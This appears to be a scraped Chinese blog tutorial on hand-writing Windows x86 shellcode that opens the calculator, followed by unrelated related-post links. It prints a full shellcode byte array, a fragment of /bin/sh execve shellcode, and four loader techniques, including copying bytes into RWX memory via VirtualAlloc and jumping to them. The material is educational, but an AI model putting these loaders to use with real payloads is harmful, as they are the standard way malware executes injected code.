ShellCode是一种漏洞代码,中文名也叫填充数据,一般是用C语言或者汇编编写。在研究的过程中,自己也学到了一些东西,发现其中也有许多坑,所以贴出来,如果大家有碰到的,可以参考一下。

以启动电脑上的计算器为例,编写ShellCode其实就是两部分,一是获取ShellCode字节码,二是调用它。

获取方式一般是观察代码反汇编和内存相结合:

  1. VOID Test()
  2. {
  3. HMODULE v1 = LoadLibraryA("kernel32.dll");//0X7778ff70
  4. //WinExec("calc.exe", SW_SHOW);
  5.  
  6. /*
  7. 00E31E5E mov esi,esp
  8. 00E31E60 push 0E36B30h
  9. 00E31E65 call dword ptr ds:[0E3A060h]
  10. 00E31E6B cmp esi,esp
  11. 00E31E6D call __RTC_CheckEsp (0E3111Dh)
  12. 00E31E72 mov dword ptr [v1],ea,0x
  13. WinExec("calc.e,0xe", SW_SHOW);
  14.  
  15. 00E31E75 mov esi,esp
  16. 00E31E77 push 5
  17. 00E31E79 push 0E36B40h
  18. 00E31E7E call dword ptr ds:[0E3A064h]
  19. 00E31E84 cmp esi,esp
  20. 00E31E86 call __RTC_CheckEsp (0E3111Dh)
  21.  
  22. return 0;
  23. */
  24. __asm
  25. {
  26.  
  27. push ebp;
  28. mov ebp, esp;
  29. xor eax, eax;
  30. push eax;
  31. sub esp, 08h;
  32. mov byte ptr[ebp - 0Ch], 63h; //c
  33. mov byte ptr[ebp - 0Bh], 61h; //a
  34. mov byte ptr[ebp - 0Ah], 6Ch; //l
  35. mov byte ptr[ebp - 09h], 63h; //c
  36. mov byte ptr[ebp - 08h], 2Eh; //.
  37. mov byte ptr[ebp - 07h], 65h; //e
  38. mov byte ptr[ebp - 06h], 78h; //x
  39. mov byte ptr[ebp - 05h], 65h; //e
  40.  
  41. lea eax, [ebp - 0ch];
  42. push eax; //将calc.exe压入栈内
  43.  
  44. mov eax, 0x7778ff70;
  45. call eax; //调用WinExec
  46.  
  47. mov esp, ebp;
  48. pop ebp;
  49. }
  50.  
  51. }

然后就是所谓的苦力活,将反汇编中的字节码一个一个抄出来,整合成为一个ShellCode

  1. CHAR ShellCode[] = {
  2. 0x55,0x8B,0xEC,0x51,0x51,0x83,0x65,0xFC,0x00,0x56,0x57,0xC7,0x45,0xF8,0x63,0x61,
  3. 0x6C,0x63,0x64,0xA1,0x18,0x00,0x00,0x00,0x33,0xC9,0x8B,0x40,0x30,0x8B,0x40,0x0C,
  4. 0x8B,0x78,0x1C,0x8B,0x3F,0x8B,0x47,0x20,0x66,0x83,0x78,0x10,0x2E,0x74,0x06,0x41,
  5. 0x83,0xF9,0x02,0x7C,0xEE,0x8B,0x4F,0x08,0xBA,0xB9,0x6B,0xFF,0xCB,0xE8,0x23,0x00,
  6. 0x00,0x00,0x8B,0x4F,0x08,0xBA,0x13,0xB9,0xE6,0x25,0x8B,0xF0,0xE8,0x14,0x00,0x00,
  7. 0x00,0x6A,0x01,0x8D,0x4D,0xF8,0x51,0xFF,0xD0,0x6A,0x00,0x6A,0x00,0xFF,0xD6,0x5F,
  8. 0x5E,0x8B,0xE5,0x5D,0xC3,0x55,0x8B,0xEC,0x83,0xEC,0x10,0x53,0x56,0x8B,0xF1,0x89,
  9. 0x55,0xF0,0x33,0xD2,0x57,0x8B,0x46,0x3C,0x8B,0x5C,0x30,0x78,0x03,0xDE,0x89,0x5D,
  10. 0xF4,0x8B,0x4B,0x20,0x03,0xCE,0x39,0x53,0x18,0x76,0x39,0x8B,0x39,0x33,0xC0,0x03,
  11. 0xFE,0x8A,0x1F,0x84,0xDB,0x8B,0x5D,0xF4,0x74,0x1C,0x8B,0xD8,0x8A,0x07,0x6B,0xDB,
  12. 0x21,0x0F,0xBE,0xC0,0x03,0xD8,0x47,0x8A,0x07,0x84,0xC0,0x75,0xF1,0x89,0x5D,0xF8,
  13. 0x8B,0x5D,0xF4,0x8B,0x45,0xF8,0x3B,0x45,0xF0,0x74,0x12,0x83,0xC1,0x04,0x42,0x3B,
  14. 0x53,0x18,0x72,0xC7,0x33,0xC0,0x5F,0x5E,0x5B,0x8B,0xE5,0x5D,0xC3,0x8B,0x43,0x24,
  15. 0x8D,0x04,0x50,0x0F,0xB7,0x0C,0x30,0x8B,0x43,0x1C,0x8D,0x04,0x88,0x8B,0x04,0x30,
  16. 0x03,0xC6,0xEB,0xE2
  17. };

对于ShellCode能不能在各个电脑上都适用,我还不敢保证,因为我之前也尝试将别人写的拿过来运行,但是程序崩溃。所以最好自己试着写一遍。

ShellCode字符也可以写成这种形式:

  1. char shellcode[] =
  2. "\x55\x8b\xec\x51\x51\x83\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
  3. "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
  4. "\x2f\x73\x68\x58"; //...

它利用的是\x的转义字符特性,其实是一样的。

写好ShellCode后就该调用它了

方法1:利用动态申请内存,一定是可执行属性

  1. typedef void (_stdcall *CODE)();
  2.  
  3. VOID Sub_1()
  4. {
  5. PVOID p = NULL;
  6. p = VirtualAlloc(NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  7. if (p == NULL)
  8. {
  9. return;
  10. }
  11. memcpy(p, ShellCode, sizeof(ShellCode));
  12.  
  13. CODE code = (CODE)p;
  14. code();
  15. }

方法2,:强制类型转换成函数指针

  1. VOID Sub_2()
  2. {
  3. ((void(WINAPI*)(void))&ShellCode)();
  4. }

虽然看上去有点复杂,但是拆开分析一下还是很简单的,首先取了ShellCode的地址,将它强制类型转换成函数指针,第一个void表示函数返回值,第二个void可以不要,它是说该函数没有参数,最后在后面加上小括号,注意WINAPI的调用约定一定不能少,我用的VS2015编译器,写的控制台程序的默认调用约定是_cdecl。

方法3:嵌入式汇编呼叫ShellCode

  1. #pragma comment(linker, "/section:.data,RWE")
    VOID Sub_3()
  2. {
  3. __asm
  4. {
  5.  
  6. mov eax, offset ShellCode
  7. jmp eax
  8.  
  9. }
  10. }

这种方法写法也比较灵活,其中第一句 mov eax, offset ShellCode 可以用 lea eax, ShellCode 代替,因为它们是等价的

第二句的 jmp 也可以用 call 代替。所以就是四种组合了。

最上面的一句 #pragma comment(linker, "/section:.data,RWE") 是很重要的,我曾经因为没有它,而导致多次错误,却一直在ShellCode上找原因。

它也是说将这段代码放入可执行区域。

方法4:伪指令

  1.  
  1. #pragma comment(linker, "/section:.data,RWE"
  1. VOID Sub_4()
  2. {
  3. __asm
  4. {
  5.  
  6. mov eax, offset ShellCode
  7.        ;_emit 伪指令在当前文本段落的当前位置定义一个字节。 _emit 伪命令类似于 MASM DB 指令。
  8. _emit 0xFF
  9. _emit 0xE0
  10.  
  11. }
  12. }

这种方法虽然可以成功执行,但是我也不知道0XFF,0XE0 起到了什么作用。

  1.  

ShellCode的几种调用方法的更多相关文章

  1. php分页类的二种调用方法(转载)

    php分页类的二种调用方法 原文地址:http://www.xfcodes.com/php/fenye/25584.htm 导读:php分页类的二种调用用法,ajax调用php分页类,非ajax方式调 ...

  2. Hutool工具里,POST方法,body中传参的几种调用方法

    接口说明: POSTMAN测试: JAVA代码: package com.provy.guard.api; import java.util.HashMap; import java.util.Map ...

  3. opencv2.4中SVD分解的几种调用方法

    原帖地址: http://blog.sina.com.cn/s/blog_6109b5d00101ag7a.html       在摄影测量和计算机视觉中,考虑最优解问题时,经常要用到SVD分解.奇异 ...

  4. JavaScript函数的4种调用方法详解

    在JavaScript中,函数是一等公民,函数在JavaScript中是一个数据类型,而非像C#或其他描述性语言那样仅仅作为一个模块来使用.函数有四种调用模式,分别是:函数调用形式.方法调用形式.构造 ...

  5. JavaScript 函数的4种调用方法

    JavaScript 函数有 4 种调用方式. 每种方式的不同方式在于 this 的初始化. 作为一个函数调用 function myFunction(a, b) { return a * b; } ...

  6. WebService两种调用方法

    1.wsimport生成本地客户端代码 命令提示窗口执行生成命令. 格式:wsimport -s "src目录" -p “生成类所在包名” -keep “wsdl发布地址” 示例: ...

  7. thinkphp的钩子的两种配置和两种调用方法

    thinkphp的钩子行为类是一个比较难以理解的问题,网上有很多写thinkphp钩子类的文章,我也是根据网上的文章来设置thinkphp的钩子行为的,但根据这些网上的文章,我在设置的过程中,尝试了十 ...

  8. MFCdll的两种调用方法

        有同事问我mfcdll的掉用方法,这里总结了一下.   1 lib库调用   只要VS能找到dll对应的lib和h文件,就可以开发和调试.包含lib和h文件有两个方法. 第一种方法设置路径是 ...

  9. 008.Delphi插件之QPlugins,服务的两种调用方法

    这个QPlugins自带的DEMO,大概的意思就是,创建2个服务类,程序启动的时候注册这2个服务类.点击不同的按钮,使用不同的方法来调用这个服务. 效果界面如下 unit Frm_Main; inte ...

随机推荐

  1. 父类属性值的copy

    最近开发中遇到这样一个问题将父类的属性值copy到子类中,从而对子类添加一些其他属性. 父类: package com.jalja.org.jms.test01; import java.util.D ...

  2. mysql,oracle,sql server中的默认事务隔离级别查看,更改

    未提交读(隔离事务的最低级别,只能保证不读取物理上损坏的数据) 已提交读(数据库引擎的默认级别) 可重复读 可序列化(隔离事务的最高级别,事务之间完全隔离) 可串行化比较严谨,级别高; MySQL m ...

  3. 【bzoj2004】[Hnoi2010]Bus 公交线路 状压dp+矩阵乘法

    题目描述 小Z所在的城市有N个公交车站,排列在一条长(N-1)km的直线上,从左到右依次编号为1到N,相邻公交车站间的距离均为1km. 作为公交车线路的规划者,小Z调查了市民的需求,决定按下述规则设计 ...

  4. 【题解】NOIP2015推销员

    ……普及组的题目都做不出来……(:´д`)ゞ……再这样下去要退役了啊…… 不过不管怎样感觉这题还是蛮好的,也要记录一下下~ 我们注意到数据的范围,n 是 1e5, 又有 1e5组询问,暴力大概是 \( ...

  5. 【bzoj】3477: [Usaco2014 Mar]Sabotage 01分数规划

    这题算是01分数规划吧2333 sum-a[i]*x[i]=c*(n-x[i]) 化简一下就是sum-(a[i]-c)*x[i]-nc=0,每次找最大的(a[i]-c)*x[i](子段和),如果结果& ...

  6. 2018牛客多校第五场 H.subseq

    题意: 给出a数组的排列.求出字典序第k小的b数组的排列,满足1<=bi<=n,bi<bi+1,a[b[i]]<a[b[i+1]],m>0. 题解: 用树状数组倒着求出以 ...

  7. BZOJ1499:[NOI2005]瑰丽华尔兹——题解

    http://www.lydsy.com/JudgeOnline/problem.php?id=1499 舞厅是一个N行M列的矩阵,矩阵中的某些方格上堆放了一些家具,其他的则是空地.钢琴可以在空地上滑 ...

  8. CF25E:Test——题解

    https://vjudge.net/problem/CodeForces-25E 题目大意:给三个字符串,求最小串,使得前三个串都是它的子串. ———————————————— 这题虽然是看哈希的时 ...

  9. MFC:CTime类和CTimeSpan类

    CTime类 CTime类表示日期和时间,上限是3000年12月31日,下限是1970年1月1日 12:00:00 AM GMT. CTime(); 构造一个未经初始化的CTime对象.此状态的CTi ...

  10. bzoj 2095 [Poi2010]Bridges 判断欧拉维护,最大流+二分

    [Poi2010]Bridges Time Limit: 10 Sec  Memory Limit: 259 MBSubmit: 1448  Solved: 510[Submit][Status][D ...